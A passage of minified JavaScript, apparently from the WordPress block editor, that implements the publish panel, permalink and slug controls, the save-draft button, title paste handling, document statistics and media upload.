0:t.default_category,i=e(c.store).getEntityRecord("taxonomy","category",s),a=o&&(0,r.some)(o.types,(e=>e===n)),l=o&&e(oo).getEditedPostAttribute(o.rest_base);return!!o&&!!i&&a&&(0===(null==l?void 0:l.length)||1===(null==l?void 0:l.length)&&i.id===l[0])}),[]),[t,n]=(0,i.useState)(!1);if((0,i.useEffect)((()=>{e&&n(!0)}),[e]),!t)return null;const o=[(0,Xt.__)("Suggestion:"),(0,i.createElement)("span",{className:"editor-post-publish-panel__link",key:"label"},(0,Xt.__)("Assign a category"))];return(0,i.createElement)(xo.PanelBody,{initialOpen:!1,title:o},(0,i.createElement)("p",null,(0,Xt.__)("Categories provide a helpful way to group related posts together and to quickly tell readers what a post is about.")),(0,i.createElement)(Si,{slug:"category"}))},Pi=function(e){let{children:t}=e;const{isBeingScheduled:n,isRequestingSiteIcon:o,hasPublishAction:s,siteIconUrl:a,siteTitle:u,siteHome:d}=(0,l.useSelect)((e=>{const{getCurrentPost:t,isEditedPostBeingScheduled:n}=e(oo),{getEntityRecord:o,isResolving:s}=e(c.store),i=o("root","__unstableBase",void 0)||{};return{hasPublishAction:(0,r.get)(t(),["_links","wp:action-publish"],!1),isBeingScheduled:n(),isRequestingSiteIcon:s("getEntityRecord",["root","__unstableBase",void 0]),siteIconUrl:i.site_icon_url,siteTitle:i.name,siteHome:i.home&&(0,E.filterURLForDisplay)(i.home)}}),[]);let p,m,h=(0,i.createElement)(xo.Icon,{className:"components-site-icon",size:"36px",icon:Gs});return a&&(h=(0,i.createElement)("img",{alt:(0,Xt.__)("Site Icon"),className:"components-site-icon",src:a})),o&&(h=null),s?n?(p=(0,Xt.__)("Are you ready to schedule?"),m=(0,Xt.__)("Your work will be published at the specified date and time.")):(p=(0,Xt.__)("Are you ready to publish?"),m=(0,Xt.__)("Double-check your settings before publishing.")):(p=(0,Xt.__)("Are you ready to submit for review?"),m=(0,Xt.__)("When you’re ready, submit your work for review, and an Editor will be able to approve it for you.")),(0,i.createElement)("div",{className:"editor-post-publish-panel__prepublish"},(0,i.createElement)("div",null,(0,i.createElement)("strong",null,p)),(0,i.createElement)("p",null,m),(0,i.createElement)("div",{className:"components-site-card"},h,(0,i.createElement)("div",{className:"components-site-info"},(0,i.createElement)("span",{className:"components-site-name"},(0,Oo.decodeEntities)(u)||(0,Xt.__)("(Untitled)")),(0,i.createElement)("span",{className:"components-site-home"},d))),s&&(0,i.createElement)(i.Fragment,null,(0,i.createElement)(xo.PanelBody,{initialOpen:!1,title:[(0,Xt.__)("Visibility:"),(0,i.createElement)("span",{className:"editor-post-publish-panel__link",key:"label"},(0,i.createElement)(Ys,null))]},(0,i.createElement)($s,null)),(0,i.createElement)(xo.PanelBody,{initialOpen:!1,title:[(0,Xt.__)("Publish:"),(0,i.createElement)("span",{className:"editor-post-publish-panel__link",key:"label"},(0,i.createElement)(Zs,null))]},(0,i.createElement)(Xs,null))),(0,i.createElement)(fi,null),(0,i.createElement)(gi,null),(0,i.createElement)(wi,null),t)},ki="%postname%";function Ci(e){let{text:t,onCopy:n,children:o}=e;const s=(0,u.useCopyToClipboard)(t,n);return(0,i.createElement)(xo.Button,{variant:"secondary",ref:s},o)}class Ti extends i.Component{constructor(){super(...arguments),this.state={showCopyConfirmation:!1},this.onCopy=this.onCopy.bind(this),this.onSelectInput=this.onSelectInput.bind(this),this.postLink=(0,i.createRef)()}componentDidMount(){this.props.focusOnMount&&this.postLink.current.focus()}componentWillUnmount(){clearTimeout(this.dismissCopyConfirmation)}onCopy(){this.setState({showCopyConfirmation:!0}),clearTimeout(this.dismissCopyConfirmation),this.dismissCopyConfirmation=setTimeout((()=>{this.setState({showCopyConfirmation:!1})}),4e3)}onSelectInput(e){e.target.select()}render(){const{children:e,isScheduled:t,post:n,postType:o}=this.props,s=(0,r.get)(o,["labels","singular_name"]),a=(0,r.get)(o,["labels","view_item"]),l=(0,r.get)(o,["labels","add_new_item"]),c="future"===n.status?(e=>{const{slug:t}=e;return e.permalink_template.includes(ki)?e.permalink_template.replace(ki,t):e.permalink_template})(n):n.link,u=(0,E.addQueryArgs)("post-new.php",{post_type:n.type}),d=t?(0,i.createElement)(i.Fragment,null,(0,Xt.__)("is now scheduled. It will go live on")," ",(0,i.createElement)(Zs,null),"."):(0,Xt.__)("is now live.");return(0,i.createElement)("div",{className:"post-publish-panel__postpublish"},(0,i.createElement)(xo.PanelBody,{className:"post-publish-panel__postpublish-header"},(0,i.createElement)("a",{ref:this.postLink,href:c},(0,Oo.decodeEntities)(n.title)||(0,Xt.__)("(no title)"))," ",d),(0,i.createElement)(xo.PanelBody,null,(0,i.createElement)("p",{className:"post-publish-panel__postpublish-subheader"},(0,i.createElement)("strong",null,(0,Xt.__)("What’s next?"))),(0,i.createElement)("div",{className:"post-publish-panel__postpublish-post-address-container"},(0,i.createElement)(xo.TextControl,{className:"post-publish-panel__postpublish-post-address",readOnly:!0,label:(0,Xt.sprintf)(
/* translators: %s: post type singular name */
(0,Xt.__)("%s address"),s),value:(0,E.safeDecodeURIComponent)(c),onFocus:this.onSelectInput}),(0,i.createElement)("div",{className:"post-publish-panel__postpublish-post-address__copy-button-wrap"},(0,i.createElement)(Ci,{text:c,onCopy:this.onCopy},this.state.showCopyConfirmation?(0,Xt.__)("Copied!"):(0,Xt.__)("Copy")))),(0,i.createElement)("div",{className:"post-publish-panel__postpublish-buttons"},!t&&(0,i.createElement)(xo.Button,{variant:"primary",href:c},a),(0,i.createElement)(xo.Button,{variant:t?"primary":"secondary",href:u},l))),e)}}const xi=(0,l.withSelect)((e=>{const{getEditedPostAttribute:t,getCurrentPost:n,isCurrentPostScheduled:o}=e(oo),{getPostType:s}=e(c.store);return{post:n(),postType:s(t("type")),isScheduled:o()}}))(Ti);class Bi extends i.Component{constructor(){super(...arguments),this.onSubmit=this.onSubmit.bind(this)}componentDidUpdate(e){e.isPublished&&!this.props.isSaving&&this.props.isDirty&&this.props.onClose()}onSubmit(){const{onClose:e,hasPublishAction:t,isPostTypeViewable:n}=this.props;t&&n||e()}render(){const{forceIsDirty:e,forceIsSaving:t,isBeingScheduled:n,isPublished:o,isPublishSidebarEnabled:r,isScheduled:a,isSaving:l,isSavingNonPostEntityChanges:c,onClose:u,onTogglePublishSidebar:d,PostPublishExtension:p,PrePublishExtension:m,...h}=this.props,{hasPublishAction:g,isDirty:v,isPostTypeViewable:_,...f}=h,y=o||a&&n,b=!y&&!l,E=y&&!l;return(0,i.createElement)("div",s({className:"editor-post-publish-panel"},f),(0,i.createElement)("div",{className:"editor-post-publish-panel__header"},E?(0,i.createElement)(xo.Button,{onClick:u,icon:Ws,label:(0,Xt.__)("Close panel")}):(0,i.createElement)(i.Fragment,null,(0,i.createElement)("div",{className:"editor-post-publish-panel__header-publish-button"},(0,i.createElement)(Hs,{focusOnMount:!0,onSubmit:this.onSubmit,forceIsDirty:e,forceIsSaving:t})),(0,i.createElement)("div",{className:"editor-post-publish-panel__header-cancel-button"},(0,i.createElement)(xo.Button,{disabled:c,onClick:u,variant:"secondary"},(0,Xt.__)("Cancel"))))),(0,i.createElement)("div",{className:"editor-post-publish-panel__content"},b&&(0,i.createElement)(Pi,null,m&&(0,i.createElement)(m,null)),E&&(0,i.createElement)(xi,{focusOnMount:!0},p&&(0,i.createElement)(p,null)),l&&(0,i.createElement)(xo.Spinner,null)),(0,i.createElement)("div",{className:"editor-post-publish-panel__footer"},(0,i.createElement)(xo.CheckboxControl,{label:(0,Xt.__)("Always show pre-publish checks."),checked:r,onChange:d})))}}const Ai=(0,u.compose)([(0,l.withSelect)((e=>{const{getPostType:t}=e(c.store),{getCurrentPost:n,getEditedPostAttribute:o,isCurrentPostPublished:s,isCurrentPostScheduled:i,isEditedPostBeingScheduled:a,isEditedPostDirty:l,isSavingPost:u,isSavingNonPostEntityChanges:d}=e(oo),{isPublishSidebarEnabled:p}=e(oo),m=t(o("type"));return{hasPublishAction:(0,r.get)(n(),["_links","wp:action-publish"],!1),isPostTypeViewable:(0,r.get)(m,["viewable"],!1),isBeingScheduled:a(),isDirty:l(),isPublished:s(),isPublishSidebarEnabled:p(),isSaving:u(),isSavingNonPostEntityChanges:d(),isScheduled:i()}})),(0,l.withDispatch)(((e,t)=>{let{isPublishSidebarEnabled:n}=t;const{disablePublishSidebar:o,enablePublishSidebar:s}=e(oo);return{onTogglePublishSidebar:()=>{n?o():s()}}})),xo.withFocusReturn,xo.withConstrainedTabbing])(Bi),Ii=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{d:"M17.3 10.1c0-2.5-2.1-4.4-4.8-4.4-2.2 0-4.1 1.4-4.6 3.3h-.2C5.7 9 4 10.7 4 12.8c0 2.1 1.7 3.8 3.7 3.8h9c1.8 0 3.2-1.5 3.2-3.3.1-1.6-1.1-2.9-2.6-3.2zm-.5 5.1h-4v-2.4L14 14l1-1-3-3-3 3 1 1 1.2-1.2v2.4H7.7c-1.2 0-2.2-1.1-2.2-2.3s1-2.4 2.2-2.4H9l.3-1.1c.4-1.3 1.7-2.2 3.2-2.2 1.8 0 3.3 1.3 3.3 2.9v1.3l1.3.2c.8.1 1.4.9 1.4 1.8 0 1-.8 1.8-1.7 1.8z"})),Ni=function(e){let{icon:t,size:n=24,...o}=e;return(0,i.cloneElement)(t,{width:n,height:n,...o})},Ri=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"})),Di=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{d:"M17.3 10.1c0-2.5-2.1-4.4-4.8-4.4-2.2 0-4.1 1.4-4.6 3.3h-.2C5.7 9 4 10.7 4 12.8c0 2.1 1.7 3.8 3.7 3.8h9c1.8 0 3.2-1.5 3.2-3.3.1-1.6-1.1-2.9-2.6-3.2zm-.5 5.1h-9c-1.2 0-2.2-1.1-2.2-2.3s1-2.4 2.2-2.4h1.3l.3-1.1c.4-1.3 1.7-2.2 3.2-2.2 1.8 0 3.3 1.3 3.3 2.9v1.3l1.3.2c.8.1 1.4.9 1.4 1.8-.1 1-.9 1.8-1.8 1.8z"})),Li=(0,u.compose)([(0,l.withSelect)((e=>{const{isSavingPost:t,isCurrentPostPublished:n,isCurrentPostScheduled:o}=e(oo);return{isSaving:t(),isPublished:n(),isScheduled:o()}})),(0,l.withDispatch)((e=>{const{editPost:t,savePost:n}=e(oo);return{onClick:()=>{t({status:"draft"}),n()}}}))])((function(e){let{isSaving:t,isPublished:n,isScheduled:o,onClick:s}=e;const r=(0,u.useViewportMatch)("small","<"),[a,l]=(0,i.useState)(!1);if(!n&&!o)return null;let c;return n?c=(0,Xt.__)("Are you sure you want to unpublish this post?"):o&&(c=(0,Xt.__)("Are you sure you want to unschedule this post?")),(0,i.createElement)(i.Fragment,null,(0,i.createElement)(xo.Button,{className:"editor-post-switch-to-draft",onClick:()=>{l(!0)},disabled:t,variant:"tertiary"},r?(0,Xt.__)("Draft"):(0,Xt.__)("Switch to draft")),(0,i.createElement)(xo.__experimentalConfirmDialog,{isOpen:a,onConfirm:()=>{l(!1),s()},onCancel:()=>l(!1)},c))}));function Oi(e){let{forceIsDirty:t,forceIsSaving:n,showIconLabels:o=!1}=e;const[s,r]=(0,i.useState)(!1),a=(0,u.useViewportMatch)("small"),{isAutosaving:c,isDirty:d,isNew:p,isPending:m,isPublished:h,isSaveable:g,isSaving:v,isScheduled:_,hasPublishAction:f}=(0,l.useSelect)((e=>{var o,s,i;const{isEditedPostNew:r,isCurrentPostPublished:a,isCurrentPostScheduled:l,isEditedPostDirty:c,isSavingPost:u,isEditedPostSaveable:d,getCurrentPost:p,isAutosavingPost:m,getEditedPostAttribute:h}=e(oo);return{isAutosaving:m(),isDirty:t||c(),isNew:r(),isPending:"pending"===h("status"),isPublished:a(),isSaving:n||u(),isSaveable:d(),isScheduled:l(),hasPublishAction:null!==(o=null===(s=p())||void 0===s||null===(i=s._links)||void 0===i?void 0:i["wp:action-publish"])&&void 0!==o&&o}}),[t,n]),{savePost:y}=(0,l.useDispatch)(oo),b=(0,u.usePrevious)(v);if((0,i.useEffect)((()=>{let e;return b&&!v&&(r(!0),e=setTimeout((()=>{r(!1)}),1e3)),()=>clearTimeout(e)}),[v]),!f&&m)return null;if(h||_)return(0,i.createElement)(Li,null);
/* translators: button label text should, if possible, be under 16 characters. */const E=m?(0,Xt.__)("Save as pending"):(0,Xt.__)("Save draft"),S=(0,Xt.__)("Save"),w=s||!p&&!d,P=v||w,k=v||w||!g;
/* translators: button label text should, if possible, be under 16 characters. */let C;return v?C=c?(0,Xt.__)("Autosaving"):(0,Xt.__)("Saving"):w?C=(0,Xt.__)("Saved"):a?C=E:o&&(C=S),(0,i.createElement)(xo.Button,{className:g||v?po()({"editor-post-save-draft":!P,"editor-post-saved-state":P,"is-saving":v,"is-autosaving":c,"is-saved":w,[(0,xo.__unstableGetAnimateClassName)({type:"loading"})]:v}):void 0,onClick:k?void 0:()=>y(),shortcut:Co.displayShortcut.primary("s"),variant:a?"tertiary":void 0,icon:a?void 0:Ii,label:o?void 0:E,"aria-disabled":k},P&&(0,i.createElement)(Ni,{icon:w?Ri:Di}),C)}const Ui=(0,u.compose)([(0,l.withSelect)((e=>{const{getCurrentPost:t,getCurrentPostType:n}=e(oo);return{hasPublishAction:(0,r.get)(t(),["_links","wp:action-publish"],!1),postType:n()}}))])((function(e){let{hasPublishAction:t,children:n}=e;return t?n:null}));function Fi(e){let{children:t}=e;return(0,i.createElement)(Qo,{supportKeys:"slug"},t)}class Mi extends i.Component{constructor(e){let{postSlug:t,postTitle:n,postID:o}=e;super(...arguments),this.state={editedSlug:(0,E.safeDecodeURIComponent)(t)||(0,E.cleanForSlug)(n)||o},this.setSlug=this.setSlug.bind(this)}setSlug(e){const{postSlug:t,onUpdateSlug:n}=this.props,{value:o}=e.target,s=(0,E.cleanForSlug)(o);s!==t&&n(s)}render(){const{editedSlug:e}=this.state;return(0,i.createElement)(Fi,null,(0,i.createElement)(xo.TextControl,{label:(0,Xt.__)("Slug"),autoComplete:"off",spellCheck:"false",value:e,onChange:e=>this.setState({editedSlug:e}),onBlur:this.setSlug,className:"editor-post-slug"}))}}const zi=(0,u.compose)([(0,l.withSelect)((e=>{const{getCurrentPost:t,getEditedPostAttribute:n}=e(oo),{id:o}=t();return{postSlug:n("slug"),postTitle:n("title"),postID:o}})),(0,l.withDispatch)((e=>{const{editPost:t}=e(oo);return{onUpdateSlug(e){t({slug:e})}}}))])(Mi),Vi=(0,u.compose)([(0,l.withSelect)((e=>{const t=e(oo).getCurrentPost();return{hasStickyAction:(0,r.get)(t,["_links","wp:action-sticky"],!1),postType:e(oo).getCurrentPostType()}}))])((function(e){let{hasStickyAction:t,postType:n,children:o}=e;return"post"===n&&t?o:null})),Hi=(0,u.compose)([(0,l.withSelect)((e=>({postSticky:e(oo).getEditedPostAttribute("sticky")}))),(0,l.withDispatch)((e=>({onUpdateSticky(t){e(oo).editPost({sticky:t})}})))])((function(e){let{onUpdateSticky:t,postSticky:n=!1}=e;return(0,i.createElement)(Vi,null,(0,i.createElement)(xo.CheckboxControl,{label:(0,Xt.__)("Stick to the top of the blog"),checked:n,onChange:()=>t(!n)}))})),Wi=e=>e,Gi=(0,u.compose)([(0,l.withSelect)((e=>({postType:e(oo).getCurrentPostType(),taxonomies:e(c.store).getTaxonomies({per_page:-1})})))])((function(e){let{postType:t,taxonomies:n,taxonomyWrapper:o=Wi}=e;const s=(0,r.filter)(n,(e=>(0,r.includes)(e.types,t)));return(0,r.filter)(s,(e=>{var t;return null===(t=e.visibility)||void 0===t?void 0:t.show_ui})).map((e=>{const t=e.hierarchical?Si:pi;return(0,i.createElement)(i.Fragment,{key:`taxonomy-${e.slug}`},o((0,i.createElement)(t,{slug:e.slug}),e))}))})),ji=(0,u.compose)([(0,l.withSelect)((e=>({postType:e(oo).getCurrentPostType(),taxonomies:e(c.store).getTaxonomies({per_page:-1})})))])((function(e){let{postType:t,taxonomies:n,children:o}=e;return(0,r.some)(n,(e=>(0,r.includes)(e.types,t)))?o:null}));var $i=n(773);function Ki(){const e=(0,l.useSelect)((e=>e(oo).getEditedPostContent()),[]),{editPost:t,resetEditorBlocks:n}=(0,l.useDispatch)(oo),[o,s]=(0,i.useState)(e),[r,c]=(0,i.useState)(!1),d=(0,u.useInstanceId)(Ki),p=(0,i.useRef)();return r||o===e||s(e),(0,i.useEffect)((()=>()=>{if(p.current){const e=(0,a.parse)(p.current);n(e)}}),[]),(0,i.createElement)(i.Fragment,null,(0,i.createElement)(xo.VisuallyHidden,{as:"label",htmlFor:`post-content-${d}`},(0,Xt.__)("Type text or HTML")),(0,i.createElement)($i.Z,{autoComplete:"off",dir:"auto",value:o,onChange:e=>{const n=e.target.value;t({content:n}),s(n),c(!0),p.current=n},onBlur:()=>{if(r){const e=(0,a.parse)(o);n(e),c(!1)}},className:"editor-post-text-editor",id:`post-content-${d}`,placeholder:(0,Xt.__)("Start writing with text or HTML")}))}const Yi=/[\r\n]+/g,qi=(0,i.forwardRef)((function(e,t){const n=(0,i.useRef)(),[o,s]=(0,i.useState)(!1),{editPost:r}=(0,l.useDispatch)(oo),{insertDefaultBlock:c,clearSelectedBlock:d,insertBlocks:m}=(0,l.useDispatch)(p.store),{isCleanNewPost:h,title:g,placeholder:v,hasFixedToolbar:_}=(0,l.useSelect)((e=>{const{getEditedPostAttribute:t,isCleanNewPost:n}=e(oo),{getSettings:o}=e(p.store),{titlePlaceholder:s,hasFixedToolbar:i}=o();return{isCleanNewPost:n(),title:t("title"),placeholder:s,hasFixedToolbar:i}}),[]);function f(e){m(e,0)}function y(e){r({title:e})}(0,i.useImperativeHandle)(t,(()=>({focus:()=>{var e;null==n||null===(e=n.current)||void 0===e||e.focus()}}))),(0,i.useEffect)((()=>{if(!n.current)return;const{ownerDocument:e}=n.current,{activeElement:t,body:o}=e;!h||t&&o!==t||n.current.focus()}),[h]);const[b,E]=(0,i.useState)({});function S(){s(!1),E({})}const w=po()("wp-block wp-block-post-title block-editor-block-list__block editor-post-title editor-post-title__input rich-text",{"is-selected":o,"has-fixed-toolbar":_}),P=(0,Oo.decodeEntities)(v)||(0,Xt.__)("Add title"),{ref:k}=(0,co.__unstableUseRichText)({value:g,onChange:function(e){y(e.replace(Yi," "))},placeholder:P,selectionStart:b.start,selectionEnd:b.end,onSelectionChange(e,t){E((n=>{const{start:o,end:s}=n;return o===e&&s===t?n:{start:e,end:t}}))},__unstableDisableFormats:!0,preserveWhiteSpace:!0});return(0,i.createElement)(Qo,{supportKeys:"title"},(0,i.createElement)("h1",{ref:(0,u.useMergeRefs)([k,n]),contentEditable:!0,className:w,"aria-label":P,role:"textbox","aria-multiline":"true",onFocus:function(){s(!0),d()},onBlur:S,onKeyDown:function(e){e.keyCode===Co.ENTER&&(e.preventDefault(),c(void 0,void 0,0))},onKeyPress:S,onPaste:function(e){const t=e.clipboardData;let n="",o="";try{n=t.getData("text/plain"),o=t.getData("text/html")}catch(e){try{o=t.getData("Text")}catch(e){return}}window.console.log("Received HTML:\n\n",o),window.console.log("Received plain text:\n\n",n);const s=(0,a.pasteHandler)({HTML:o,plainText:n});if(e.preventDefault(),s.length)if("string"!=typeof s){const[e]=s;g||"core/heading"!==e.name&&"core/paragraph"!==e.name?f(s):(y(e.attributes.content),f(s.slice(1)))}else{const e={...(0,co.create)({html:g}),...b},t=(0,co.insert)(e,(0,co.create)({html:s}));y((0,co.toHTMLString)({value:t})),E({start:t.start,end:t.end})}}}))}));function Qi(){const{isNew:e,isDeleting:t,postId:n}=(0,l.useSelect)((e=>{const t=e(oo);return{isNew:t.isEditedPostNew(),isDeleting:t.isDeletingPost(),postId:t.getCurrentPostId()}}),[]),{trashPost:o}=(0,l.useDispatch)(oo);return e||!n?null:(0,i.createElement)(xo.Button,{className:"editor-post-trash",isDestructive:!0,variant:"secondary",isBusy:t,"aria-disabled":t,onClick:t?void 0:()=>o()},(0,Xt.__)("Move to trash"))}const Xi=(0,l.withSelect)((e=>{const{isEditedPostNew:t,getCurrentPostId:n,getCurrentPostType:o}=e(oo),{getPostType:s,canUser:i}=e(c.store),r=n(),a=s(o()),l=(null==a?void 0:a.rest_base)||"";return{isNew:t(),postId:r,canUserDelete:!(!r||!l)&&i("delete",l,r)}}))((function(e){let{isNew:t,postId:n,canUserDelete:o,children:s}=e;return!t&&n&&o?s:null}));function Zi(e){let{onClose:t}=e;const{isEditable:n,postSlug:o,viewPostLabel:s,postLink:r,permalinkPrefix:a,permalinkSuffix:u}=(0,l.useSelect)((e=>{const t=e(oo).getCurrentPostType(),n=e(c.store).getPostType(t),o=e(oo).getPermalinkParts();return{isEditable:e(oo).isPermalinkEditable(),postSlug:(0,E.safeDecodeURIComponent)(e(oo).getEditedPostSlug()),viewPostLabel:null==n?void 0:n.labels.view_item,postLink:e(oo).getCurrentPost().link,permalinkPrefix:null==o?void 0:o.prefix,permalinkSuffix:null==o?void 0:o.suffix}}),[]),{editPost:d}=(0,l.useDispatch)(oo),[m,h]=(0,i.useState)(!1);return(0,i.createElement)("div",{className:"editor-post-url"},(0,i.createElement)(p.__experimentalInspectorPopoverHeader,{title:(0,Xt.__)("URL"),onClose:t}),n&&(0,i.createElement)(xo.TextControl,{label:(0,Xt.__)("Permalink"),value:m?"":o,autoComplete:"off",spellCheck:"false",help:(0,i.createElement)(i.Fragment,null,(0,Xt.__)("The last part of the URL.")," ",(0,i.createElement)(xo.ExternalLink,{href:(0,Xt.__)("https://wordpress.org/support/article/settings-sidebar/#permalink")},(0,Xt.__)("Learn more."))),onChange:e=>{d({slug:e}),e?m&&h(!1):m||h(!0)},onBlur:e=>{d({slug:(0,E.cleanForSlug)(e.target.value)}),m&&h(!1)}}),n&&(0,i.createElement)("h3",{className:"editor-post-url__link-label"},null!=s?s:(0,Xt.__)("View post")),(0,i.createElement)("p",null,(0,i.createElement)(xo.ExternalLink,{className:"editor-post-url__link",href:r,target:"_blank"},n?(0,i.createElement)(i.Fragment,null,(0,i.createElement)("span",{className:"editor-post-url__link-prefix"},a),(0,i.createElement)("span",{className:"editor-post-url__link-slug"},o),(0,i.createElement)("span",{className:"editor-post-url__link-suffix"},u)):r)))}function Ji(e){let{children:t}=e;return(0,l.useSelect)((e=>{const t=e(oo).getCurrentPostType(),n=e(c.store).getPostType(t);return!(null==n||!n.viewable)&&(!!e(oo).getCurrentPost().link&&!!e(oo).getPermalinkParts())}),[])?t:null}function er(){return tr()}function tr(){const e=(0,l.useSelect)((e=>e(oo).getPermalink()),[]);return(0,E.filterURLForDisplay)((0,E.safeDecodeURIComponent)(e))}const nr=(0,u.compose)([(0,l.withSelect)((e=>{const{getCurrentPost:t,getCurrentPostType:n}=e(oo);return{hasPublishAction:(0,r.get)(t(),["_links","wp:action-publish"],!1),postType:n()}}))])((function(e){let{hasPublishAction:t,render:n}=e;return n({canEdit:t})})),or=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{d:"M12 3.2c-4.8 0-8.8 3.9-8.8 8.8 0 4.8 3.9 8.8 8.8 8.8 4.8 0 8.8-3.9 8.8-8.8 0-4.8-4-8.8-8.8-8.8zm0 16c-4 0-7.2-3.3-7.2-7.2C4.8 8 8 4.8 12 4.8s7.2 3.3 7.2 7.2c0 4-3.2 7.2-7.2 7.2zM11 17h2v-6h-2v6zm0-8h2V7h-2v2z"})),sr=window.wp.wordcount;function ir(){const e=(0,l.useSelect)((e=>e(oo).getEditedPostAttribute("content")),[]),t=(0,Xt._x)("words","Word count type. Do not translate!");
/*
   * translators: If your word count is based on single characters (e.g. East Asian characters),
   * enter 'characters_excluding_spaces' or 'characters_including_spaces'. Otherwise, enter 'words'.
   * Do not translate into your own language.
   */return(0,i.createElement)("span",{className:"word-count"},(0,sr.count)(e,t))}function rr(){const e=(0,l.useSelect)((e=>e(oo).getEditedPostAttribute("content")),[]),t=(0,Xt._x)("words","Word count type. Do not translate!"),n=Math.round((0,sr.count)(e,t)/189),o=0===n?(0,i.createInterpolateElement)((0,Xt.__)("<span>< 1</span> minute"),{span:(0,i.createElement)("span",{className:"table-of-contents__number"})}):(0,i.createInterpolateElement)((0,Xt.sprintf)(
/* translators: %s is the number of minutes the post will take to read. */
(0,Xt._n)("<span>%d</span> minute","<span>%d</span> minutes",n),n),{span:(0,i.createElement)("span",{className:"table-of-contents__number"})});
/*
   * translators: If your word count is based on single characters (e.g. East Asian characters),
   * enter 'characters_excluding_spaces' or 'characters_including_spaces'. Otherwise, enter 'words'.
   * Do not translate into your own language.
   */return(0,i.createElement)("span",{className:"time-to-read"},o)}function ar(){const e=(0,l.useSelect)((e=>e(oo).getEditedPostAttribute("content")),[]);return(0,sr.count)(e,"characters_including_spaces")}const lr=function(e){let{hasOutlineItemsDisabled:t,onRequestClose:n}=e;const{headingCount:o,paragraphCount:s,numberOfBlocks:r}=(0,l.useSelect)((e=>{const{getGlobalBlockCount:t}=e(p.store);return{headingCount:t("core/heading"),paragraphCount:t("core/paragraph"),numberOfBlocks:t()}}),[]);return(0,i.createElement)(i.Fragment,null,(0,i.createElement)("div",{className:"table-of-contents__wrapper",role:"note","aria-label":(0,Xt.__)("Document Statistics"),tabIndex:"0"},(0,i.createElement)("ul",{role:"list",className:"table-of-contents__counts"},(0,i.createElement)("li",{className:"table-of-contents__count"},(0,Xt.__)("Words"),(0,i.createElement)(ir,null)),(0,i.createElement)("li",{className:"table-of-contents__count"},(0,Xt.__)("Characters"),(0,i.createElement)("span",{className:"table-of-contents__number"},(0,i.createElement)(ar,null))),(0,i.createElement)("li",{className:"table-of-contents__count"},(0,Xt.__)("Time to read"),(0,i.createElement)(rr,null)),(0,i.createElement)("li",{className:"table-of-contents__count"},(0,Xt.__)("Headings"),(0,i.createElement)("span",{className:"table-of-contents__number"},o)),(0,i.createElement)("li",{className:"table-of-contents__count"},(0,Xt.__)("Paragraphs"),(0,i.createElement)("span",{className:"table-of-contents__number"},s)),(0,i.createElement)("li",{className:"table-of-contents__count"},(0,Xt.__)("Blocks"),(0,i.createElement)("span",{className:"table-of-contents__number"},r)))),o>0&&(0,i.createElement)(i.Fragment,null,(0,i.createElement)("hr",null),(0,i.createElement)("h2",{className:"table-of-contents__title"},(0,Xt.__)("Document Outline")),(0,i.createElement)(bo,{onSelect:n,hasOutlineItemsDisabled:t})))},cr=(0,i.forwardRef)((function(e,t){let{hasOutlineItemsDisabled:n,repositionDropdown:o,...r}=e;const a=(0,l.useSelect)((e=>!!e(p.store).getBlockCount()),[]);return(0,i.createElement)(xo.Dropdown,{position:o?"middle right right":"bottom",className:"table-of-contents",contentClassName:"table-of-contents__popover",renderToggle:e=>{let{isOpen:n,onToggle:o}=e;return(0,i.createElement)(xo.Button,s({},r,{ref:t,onClick:a?o:void 0,icon:or,"aria-expanded":n,"aria-haspopup":"true"
/* translators: button label text should, if possible, be under 16 characters. */,label:(0,Xt.__)("Details"),tooltipPosition:"bottom","aria-disabled":!a}))},renderContent:e=>{let{onClose:t}=e;return(0,i.createElement)(lr,{onRequestClose:t,hasOutlineItemsDisabled:n})}})}));function ur(){const e=(0,l.useSelect)((e=>()=>{const{__experimentalGetDirtyEntityRecords:t}=e(c.store);return t().length>0}),[]),t=t=>{if(e())return t.returnValue=(0,Xt.__)("You have unsaved changes. If you proceed, they will be lost."),t.returnValue};return(0,i.useEffect)((()=>(window.addEventListener("beforeunload",t),()=>{window.removeEventListener("beforeunload",t)})),[]),null}const dr=window.wp.reusableBlocks,pr=(0,u.createHigherOrderComponent)((e=>(0,l.withRegistry)((t=>{const{useSubRegistry:n=!0,registry:o,...s}=t;if(!n)return(0,i.createElement)(e,s);const[r,a]=(0,i.useState)(null);return(0,i.useEffect)((()=>{const e=(0,l.createRegistry)({"core/block-editor":p.storeConfig},o);e.registerStore("core/editor",no),a(e)}),[o]),r?(0,i.createElement)(l.RegistryProvider,{value:r},(0,i.createElement)(e,s)):null}))),"withRegistryProvider"),mr=window.wp.mediaUtils,hr=()=>{};function gr(e){let{additionalData:t={},allowedTypes:n,filesList:o,maxUploadFileSize:s,onError:i=hr,onFileChange:r}=e;const{getCurrentPostId:a,getEditorSettings:c}=(0,l.select)(oo),u=c().allowedMimeTypes;s=s||c().maxUploadFileSize,(0,mr.uploadMedia)({allowedTypes:n,filesList:o,onFileChange:r,additionalData:{post:a(),...t},maxUploadFileSize:s,onError:e=>{let{message:t}=e;return i(t)},wpAllowedMimeTypes:u})}const vr=pr((function(e){let{__unstableTemplate:t,post:n,settings:o,recovery:s,initialEdits:a,children:u}=e;const d=(0,i.useMemo)((()=>"wp_template"===n.type?{}:{postId:n.id,postType:n.type}),[n.id,n.type]),{selection:m,isReady:h}=(0,l.useSelect)((e=>{const{getEditorSelection:t,__unstableIsEditorReady:n}=e(oo);return{isReady:n(),selection:t()}}),[]),{id:g,type:v}=null!=t?t:n,[_,f,y]=(0,c.useEntityBlockEditor)("postType",v,{id:g}),b=function(e,t){var n,o;const{reusableBlocks:s,hasUploadPermissions:a,canUseUnfilteredHTML:u,userCanCreatePages:d,pageOnFront:p,postType:m}=(0,l.useSelect)((e=>{var t;const{canUserUseUnfilteredHTML:n,getCurrentPostType:o}=e(oo),s="web"===i.Platform.OS,{canUser:r,getEntityRecord:a}=e(c.store),l=r("read","settings")?a("root","site"):void 